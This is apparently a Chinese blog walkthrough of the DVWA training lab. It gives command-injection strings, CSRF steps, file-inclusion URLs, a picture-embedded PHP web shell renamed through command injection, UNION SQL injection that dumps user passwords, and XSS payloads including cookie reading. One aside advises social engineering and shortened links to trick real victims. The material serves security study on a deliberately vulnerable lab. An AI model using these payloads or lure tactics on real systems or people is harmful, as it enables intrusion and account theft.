首页 > 其他分享 >DVWA(全级别通关教程详解)

DVWA(全级别通关教程详解)

时间:2023-04-21 17:25:13浏览次数:33  
标签:语句 name union DVWA 详解 table 通关 select schema

Brute Force

(burp 密码爆破  章节省略)

Command Injection

1.  解决乱码问题  找到(phpstudy_pro/WWW/DVWA/dvwa/includes   下的page.php的文件,将utf-8字符全部改为gb2312字符)

2.  输入自己想知道的信息的命令,eg:

127.0.0.1&ipconfig
127.0.0.1&systeminfo
127.0.0.1&dir

CSRF

1.  我们输入两次新密码提交之后,观察url,发现是get请求

2.  我们将之前页面的url复制,然后在 同一浏览器(利用cookie) 中打开新的页面,粘贴,并将password_new和password_conf的值进行修改,然后访问
3.  开阔知识:而在真实地攻击环境中,我们通常是给受害者发送一个链接,而在正常的情况下我们通常不会点击一个很长的看起来就不正常的链接,这个时候我们就需要好好学习社会工程学,学会利用人们的心理来达到我们的目的,诱使他们点击我们构造的链接通常情况下会把长链接构造成一个短链接,这个时候我们可以利用网上很多在线工具)
4.  我们也可以通过构造一个页面。
修改密码的链接重定向到一个自己写的一个错误页面,用户点击之后以为出错了,实际已经执行了恶意代码。

Medium

 

1.  依旧先将url复制,并修改进行访问       我们会发现修改失败。

2.  原因:中级别通过referer进行过滤,要求源地址一致,从referer中验证是否和host一致。如果一致则通过,不一致不通过。

3.  我们发现一个有referer,一个没有。这时候查看源代码,原来是对referer做了限制,那么我们把地址栏抓到的数据包发送给重发器,把在页面数据包中的referer复制过来,然后查看结果。

High

基于token的身份验证方法 使用基于 Token 的身份验证方法,在服务端不需要存储用户的登录记录。大概的流程是这样的:
1.客户端使用用户名跟密码请求登录;
2.服务端收到请求,去验证用户名与密码;
3.验证成功后,服务端会签发一个 Token,再把这个 Token 发送给客户端;
4.客户端收到 Token以后可以把它存储起来,比如放在 Cookie 里或者 Local Storage 里;
5.客户端每次向服务端请求资源的时候需要带着服务端签发的;
6. 服务端收到请求,然后去验证客户端请求里面带着的 Token,如果验证成功,就向客户端返回请求的数据。

File Inclusion

Low

1.  查看源码,发现没有任何限制

2.  如果出现 allow_url_include is not enabled    修改配置文件,将allow_url_include 开启为on 

3.  如果还不行,在phpstudy_pro 看远程包含是否开启

4.  尝试构建ur,例如我们可以查看php配置文件内容
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=D:\Xunlei_Downloads\phpstudy_pro\WWW\DVWA\php.ini

Medium

1.  查看源码发现对http等进行了一些过滤

2.  通过双写避开   

 

 

 

High

1.  查看源码    fnmatch() 函数:根据指定的模式来匹配文件名或字符串

2.  构建url

 

 

 

File Upload

High

1.  getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。

2.  我们可以通过生成图片马的方式上传文件
在命令行下用copy命令将图片mm.jpg和之前的一句话木马shell.php合并在一起

 

 

 3. 

 

 

 4.  上传3.jpg  此时由于图片马中的php代码并没有被解析,所以不能直接使用蚁剑进行连接,这里可以通过命令执行漏洞将文件名改为php

5.  在 command injection的命令输入框中输入以下命令
127.0.0.1|move …/…/hackable/uploads/3.jpg …/…/hackable/uploads/shell.php

6.  打开蚁剑  连接

SQL Injection (手工)

Low

补充:  information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #进行查询:

1.  首先输入1,查看返回结果。

2.  查看是否有注入,输入1’,报错如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’’ at line 1
发现 存在字符型注入漏洞,尝试字符型注入,如下:1‘ or '1'='1

3.  使用 order by 查看一共有多少列      例;1' order by 1,2,...........#

ORDER BY 语句用于对结果集进行排序。
而order by x 可以从1开始,1 表示的第一个字段,2表示的第二个字段
如此类推就可以了,但是当不存在那个字段的时候,就会产生这样的错误。 unknown column name x,这样,字段数就是x-1。
(为了方便我们直接把SQL语句中后续语句全部注释掉不执行,在判断语句后加 #,全部注释掉就可以不用考虑单双引号闭合的问题)

4.  查看哪些数据可以回显

那union查询有哪些特性呢?
1.Union必须由两条或者两条以上的SELECT语句组成,语句之间使用Union链接。
2.Union中的每个查询必须包含相同的列、表达式或者聚合函数,他们出现的顺序可以不一致(这里指查询字段相同,表不一定一样)
3.列的数据类型必须兼容,兼容的含义是必须是数据库可以隐含的转换他们的类型
4、只有当前一条语句不成立时才会执行后一条

 

 

 5.  可以知道,1和2两个位置都可以回显。
利用2位置,查看当前的数据库为dvwa

 

 

 6.  猜测表名:1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema = ‘dvwa’#
7.  获取字段名:1’ union select 1 , group_concat(column_name) from information_schema.columns where table_name = ‘users’ #
8.  获取用户名和密码:1' union select user,password from users#

Medium

我们可以看到这里加入了一个下拉选项框,无法输入要查询的内容,只能选择1-5,且对单引号进行了过滤,并且使用转义预防SQL注入。

漏洞复现

我们的绕过措施是用burpsuite抓包或者用浏览器插件Hackbar(这里使用前者)

然后按照上面的sql注入流程一步步修改id来重新发包更新数据,直到获取管理员账户和密码。

1.  bp抓包,ctrl+r发送至Repeater。

2.  #判断字段数
id=1 order by 2#
#判断回显  联合查询 union select
1 union select database(),user()#    #数据库 用户名
1 union select version(),@@version_compile_os#   #数据库版本  操作系统
#获取表名
1 union select table_name,table_schema from information_schema.tables where table_schema= database()#   
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
 
#获取表中的字段名
1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273#  users十六进制: 0x7573657273
 
 
#获取表中的数据
1 union select user,password from users

3.  注意获取字段名的时候,会没有反应,因为源代码对单引号进行了转义,我们采用16进制绕过,得知users的十六进制为 0x7573657273

3.High

 我们可以看到添加了limit 1 做限制,说明扫出一个结果就不向下扫描了,只输出一个结果。

而且查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入(自动化注入),因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

 XSS (DOM)

Low

查看源代码显示:DOM xss low 服务器端没有任何php代码,执行命令的只有客户端的js代码。

1.  点击 url地址栏 English 写入<script>.....代码

Medium

1.  查看源码发现:发现对script进行了过滤

2.  检查前端html语句 开始做闭合

value的值是从这个当中选出来的,那么我们可以通过构造闭合来执行我们的语句。
把English替换成 ></option></select><img src=1 one rror=alert(/xss/)>

扩充:那么这个语句是怎么闭合的呢?
学过html语言的我们都知道都是双标签,也就是说会识别两个标签之间的语句,那么我们就人为把它闭合起来,在执行过程中,一旦存在一对标签,那么就会执行这里面的语句,无法构成成对标签的不会执行里面的语句,而是单标签,也就是说他要把执行的语句涵盖在里面

High

1.  查看源码发现设置了白名单,只有白名单中的内容才会被执行。

2. 构造闭合

扩充:但这个闭合和之前的可不太一样。 我们在english后面加了注释符,很多人问了注释符不就代表后面的语句不会执行了吗,那闭合又有什么用呢。
哎,这就是DOM与其他的最大的区别了因为DOM是不会和后端的服务期进行交互的,它只是利用DOM解析树,而DOM解析树依旧会解析注释符后面的语句,只要解析了就可以成功执行。
在这里要注意的是,输入语句后,很多同学会疑惑为什么没反应,别慌,你没有错,这个时候你只需要刷新一下就好了。(但如果刷新不行,可能真的是你的语句有问题)

XSS(Reflected)

Low

1.  随便输入一下,查看页面显示内容    查看源码,发现没有任何限制

2. 在输入框中输入payload  <script>alert('xss')</script>
3. 输入如下payload,拿到cookie  <script>alert(document.cookie)</script>

Medium

1.  查看源代码:由于str_replace函数把<scrip>标签替换为空,所以我们想办法绕过

2.  构造payload:Payload1:<scr<script>ipt>alert(1)</script>

Payload2:<SCript>alert(1)</script>

High

1.  查看源代码:已经对<script>标签进行了严格的过滤
2.  使用Payload:<img src=1 one rror=alert(/xss/)>

扩充:通过上述执行我们会发现,每次注入payload是一次性的,关闭页面再次进入我们会发现不会再执行,这与后面的存储型xss最大的区别。

xss(Stored)

Low

法一:写入payload,发现name栏有长度限制。

1.  f12 打开开发者工具,对其进行修改长度数据

法二
也可以直接通过在message一栏输入

法三

点击   sign Guestbook  提交然后抓包修改name值  放包之后就可以看到想要的页面

扩充:对name的值那个修改(这里肯定会有人问为什么是name,因为message里面的东西是要存储的解析器并不会解析message里面的内容,而是要解析name里面的内容便于查询,类似于标识符的概念,用户进行后续操作时都是对name以name为唯一识别进行操作)//以上只是我个人对于这个问题的理解,只是便于理解(也不知道有没有写清楚,如果不懂的同学可以去查询其他的资料)

Medium

这一级别与反射型xss的中级是一样的通过大小写或者双写,只不过是通过抓包修改数据包。

High

这一级别与反射型xss的高级是一样的通过修改标签,只不过是通过抓包修改数据包。

标签:语句,name,union,DVWA,详解,table,通关,select,schema
From: https://www.cnblogs.com/aidy/p/17316791.html

相关文章

  • AI大数据可视化EasyCVR视频融合平台的部署操作流程详解
    EasyCVR视频融合平台基于云边端一体化架构,具有强大的数据接入、处理及分发能力,平台支持海量视频汇聚管理,能在复杂的网络环境中,将分散的各类视频资源进行统一汇聚、整合、集中管理,实现视频直播、云端录像、云存储、检索回看、智能告警、平台级联、服务器集群、云台控制与语音对讲、......
  • SQL注入漏洞--DVWA
    怎么判断sql注入漏洞呢?后台执行的SQL语句为SELECTfirst_name,last_nameFROMusersWHEREuser_id='$id';($id:用户输入的内容)用户输入的数据为:1'and1=1#这时SQL语句发生变化,在原有查询完成后会判断1=1(这明显是对的),如果判断正确才会有输出[#作用是注释(移除)后续SQL语......
  • dvwa存储型xss
    1、低级别查看服务端提示代码,直接返回未做处理。<script>alert(/xss/)</script>2、中级别查看服务端提示代码,使用htmlspecialchars函数对参数message进行实体编码,使用str_replace函数对参数name进行替代<script>为”。解决:从name参数着手,使用script大小写混杂或者其他标签......
  • dvwa使用
    1、介绍dvwa是一个基于php+mysql的web漏洞靶场项目,用户可以将其部署在本地,模拟测试和学习。可以是本地虚拟机安装,也可以考虑本地phpstudy搭建,但不建议将其部署到公共网络的主机上。phpstudy安装dvwa–学习狗2、漏洞类型BruteFroce爆破CommandInjection命令注入CSRF......
  • DVWA CSRF
    1、低级别csrf,get的url形式,参数在url中可以基于短链接触发2、中级别基于string函数,判断host值出现在referer字段中referer是http协议字段,在file协议中不存在3、高级别需要与xss结合4、不可能级别......
  • BSN-DDC基础网络详解(九):跨链机制
    我们将在BSN跨链通信枢纽中陆续增加DDC网络中各个开放联盟链的跨链互操作,支持DDC/NFT在不同的链框架之间进行转移。官方DDC和平台方自定义DDC/NFT都可以通过跨链机制进行链间转移。01DDC开放联盟链之间的跨链平台方基于某一条DDC开放联盟链生成的DDC,可以转移到DDC网络内的其它DDC开......
  • DVWA Brute Force爆破
    1、介绍该功能演示的是账号密码场景,对密码的爆破,对账号是已知的。本章仅进行简单记录,相关技术在其他文章整理。比如burp使用,php代码,python脚本。2、简单型没有做任何处理,可以爆破掉,但实际也可以sql注入。(burp爆破由中等演示,sql注入在sql注入模块演示)3、中等做了sql注入预防,b......
  • dvwa文件包含
    初次使用,可能报错:这是因为没有配置远程包含1、低级别查看服务端代码,即直接包含(2)远程包含需要先对php进行配置,php.ini文件,配置后需要重启服务2、中级别过滤http://等几个字符串,替换为””,通过双写绕过3、高级别要求file协议但是本地仍然可以执行,file://d://1.txt4、......
  • Spring源码系列(补充):详解ApplicationContext
    前言在之前的文章中,我们已经对Spring源码中的一些核心概念进行了分析。由于篇幅限制,我们并没有详细解释ApplicationContext类所继承的父接口及其作用。因此,本文将单独为ApplicationContext进行详细说明,包括其继承的父接口及其作用。ApplicationContext父接口MessageSource大家......
  • vm+centos+lnmp部署dvwa
    1、说明本次安装环境:VMware-player-16.0.0-16894299CentOS-7-x86_64-Minimal-2009.isoNginx:Web服务器,本文以Nginx1.17.7为例。MariaDB:数据库,本文以MariaDB10.4.8为例。PHP:脚本语言,本文以PHP7.2.22为例。上述环境参考:vm+centos部署lnmp–学习狗2、安装(1)dvwa......